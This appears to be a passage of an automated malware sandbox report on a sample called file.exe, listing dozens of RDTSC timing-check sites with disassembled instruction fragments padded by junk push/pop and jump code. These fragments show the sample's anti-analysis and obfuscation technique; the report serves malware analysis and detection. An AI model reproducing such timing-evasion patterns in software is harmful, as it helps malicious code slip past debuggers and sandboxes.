                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AB9BC second address: 11ABA14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FBF08D33358h 0x0000000e push esi 0x0000000f pushad 0x00000010 popad 0x00000011 jbe 00007FBF08D33346h 0x00000017 pop esi 0x00000018 jmp 00007FBF08D3334Ah 0x0000001d popad 0x0000001e pushad 0x0000001f push eax 0x00000020 push edx 0x00000021 jng 00007FBF08D33346h 0x00000027 jmp 00007FBF08D33351h 0x0000002c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11ABDF7 second address: 11ABE0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jmp 00007FBF09325ABBh 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11ABE0A second address: 11ABE12 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11ABE12 second address: 11ABE35 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FBF09325AB6h 0x0000000a jmp 00007FBF09325AC9h 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11ABF8C second address: 11ABF97 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FBF08D33346h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11ABF97 second address: 11ABF9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AC3C2 second address: 11AC3DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF08D33356h 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AC3DC second address: 11AC3E6 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF09325AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AC5C3 second address: 11AC5D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AC5D5 second address: 11AC5DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AC5DB second address: 11AC5E8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edx 0x00000004 pop edx 0x00000005 push esi 0x00000006 pop esi 0x00000007 pop ebx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AC71D second address: 11AC725 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11ACA48 second address: 11ACA4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AB65C second address: 11AB660 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 113228B second address: 1132295 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBF08D33346h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B1610 second address: 11B1614 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116A19E second address: 1151D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33350h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FBF08D33355h 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 jmp 00007FBF08D33350h 0x00000019 nop 0x0000001a mov dword ptr [ebp+122D346Dh], esi 0x00000020 call dword ptr [ebp+122D332Eh] 0x00000026 push eax 0x00000027 push eax 0x00000028 push edx 0x00000029 push edi 0x0000002a pop edi 0x0000002b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116A619 second address: 116A61F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116A61F second address: 116A625 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116A625 second address: 116A629 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116A629 second address: 116A64E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 jp 00007FBF08D33346h 0x00000016 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116A64E second address: 116A654 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116AC00 second address: 116AC05 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116AF5C second address: 116AF62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116AF62 second address: 116AF66 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116AF66 second address: 116AF6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116AF6A second address: 116AFBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jnp 00007FBF08D33357h 0x0000000f jmp 00007FBF08D33351h 0x00000014 nop 0x00000015 sub ecx, 5475B3BAh 0x0000001b push 0000001Eh 0x0000001d xor edx, dword ptr [ebp+122D27C8h] 0x00000023 mov ecx, dword ptr [ebp+122D29F5h] 0x00000029 nop 0x0000002a push edx 0x0000002b jmp 00007FBF08D33351h 0x00000030 pop edx 0x00000031 push eax 0x00000032 pushad 0x00000033 push eax 0x00000034 push ebx 0x00000035 pop ebx 0x00000036 pop eax 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B111 second address: 116B12D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B25A second address: 116B25E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B3AC second address: 116B3B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B3B0 second address: 116B3B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B3B4 second address: 116B3BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B3BA second address: 116B3C1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B3C1 second address: 116B3F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a add di, ECE3h 0x0000000f lea eax, dword ptr [ebp+1247FEE6h] 0x00000015 jmp 00007FBF09325AC1h 0x0000001a nop 0x0000001b push eax 0x0000001c push edx 0x0000001d jp 00007FBF09325AB8h 0x00000023 push ecx 0x00000024 pop ecx 0x00000025 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B3F2 second address: 116B40C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FBF08D3334Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FBF08D33346h 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116B40C second address: 116B410 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B1ABE second address: 11B1AC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B1C53 second address: 11B1C5B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B1C5B second address: 11B1C61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B1C61 second address: 11B1C65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1132270 second address: 113228B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBF08D33353h 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B1DBB second address: 11B1DCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnp 00007FBF09325AB6h 0x00000009 jbe 00007FBF09325AB6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B20B0 second address: 11B20B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B20B8 second address: 11B20C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 popad 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B23AD second address: 11B23C3 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FBF08D3334Bh 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B4A52 second address: 11B4A58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B7C5A second address: 11B7C5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B7C5E second address: 11B7C70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c jnc 00007FBF09325AB6h 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B7C70 second address: 11B7C8C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D33356h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B773C second address: 11B7746 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FBF09325AB6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11B7746 second address: 11B774F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BBE74 second address: 11BBEA6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007FBF09325AC1h 0x0000000c jmp 00007FBF09325AC8h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BBEA6 second address: 11BBEC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jg 00007FBF08D3334Ch 0x0000000c jnl 00007FBF08D33346h 0x00000012 push eax 0x00000013 push edx 0x00000014 jno 00007FBF08D33346h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BF954 second address: 11BF95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BF95A second address: 11BF97A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FBF08D33359h 0x0000000b popad 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BF97A second address: 11BF98F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF09325ABCh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BFC42 second address: 11BFC48 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BFC48 second address: 11BFC5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007FBF09325AB6h 0x0000000e jp 00007FBF09325AB6h 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11BFF15 second address: 11BFF1B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C01DD second address: 11C01F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a pushad 0x0000000b popad 0x0000000c jng 00007FBF09325AB6h 0x00000012 popad 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C01F0 second address: 11C01FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jl 00007FBF08D33346h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C01FC second address: 11C0200 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C7985 second address: 11C7989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C6110 second address: 11C611E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jo 00007FBF09325AC2h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C611E second address: 11C612E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBF08D33346h 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push edx 0x0000000f pop edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C62A4 second address: 11C62B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBF09325ABFh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C6990 second address: 11C6996 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116AE1B second address: 116AE56 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325AC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a sub edi, dword ptr [ebp+122D26DFh] 0x00000010 push ecx 0x00000011 sbb edx, 7D917F00h 0x00000017 pop edi 0x00000018 push 00000004h 0x0000001a movzx ecx, ax 0x0000001d nop 0x0000001e push esi 0x0000001f push edi 0x00000020 pushad 0x00000021 popad 0x00000022 pop edi 0x00000023 pop esi 0x00000024 push eax 0x00000025 jnl 00007FBF09325AC0h 0x0000002b push eax 0x0000002c push edx 0x0000002d pushad 0x0000002e popad 0x0000002f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C6C81 second address: 11C6C87 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C6C87 second address: 11C6C8D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11C6C8D second address: 11C6C93 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CD258 second address: 11CD272 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push edi 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FBF09325AB6h 0x00000011 pop edi 0x00000012 push eax 0x00000013 push edx 0x00000014 jl 00007FBF09325AB6h 0x0000001a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CD272 second address: 11CD292 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ah 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push edx 0x0000000d jp 00007FBF08D3334Ah 0x00000013 pushad 0x00000014 popad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CD292 second address: 11CD29C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FBF09325AB6h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CD41E second address: 11CD42A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBF08D33346h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CD849 second address: 11CD84D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CD84D second address: 11CD866 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jmp 00007FBF08D33350h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CDAEB second address: 11CDB14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b push eax 0x0000000c js 00007FBF09325AB6h 0x00000012 jmp 00007FBF09325AC3h 0x00000017 pop eax 0x00000018 push ebx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CDE25 second address: 11CDE4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jnc 00007FBF08D33346h 0x0000000d jmp 00007FBF08D33351h 0x00000012 jnc 00007FBF08D33346h 0x00000018 popad 0x00000019 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CE0B6 second address: 11CE0BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11CEDD6 second address: 11CEDE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FBF08D33346h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FBF08D33346h 0x00000013 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D8975 second address: 11D897A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D7B35 second address: 11D7B4A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF08D33350h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D7B4A second address: 11D7B54 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D8052 second address: 11D807F instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF08D33346h 0x00000008 jp 00007FBF08D33346h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 ja 00007FBF08D33359h 0x00000016 jmp 00007FBF08D33353h 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D807F second address: 11D8085 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D8085 second address: 11D8092 instructions: 0x00000000 rdtsc 0x00000002 js 00007FBF08D33346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D8092 second address: 11D80C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jns 00007FBF09325ADCh 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D80C6 second address: 11D80CF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11D83C6 second address: 11D83D4 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ecx 0x00000006 js 00007FBF09325ABEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11E0835 second address: 11E0839 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11E0839 second address: 11E083D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DE9F7 second address: 11DE9FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DEE5A second address: 11DEE67 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBF09325AB6h 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF169 second address: 11DF16E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11DF16E second address: 11DF190 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 pop eax 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007FBF09325AC8h 0x0000000f rdtsc
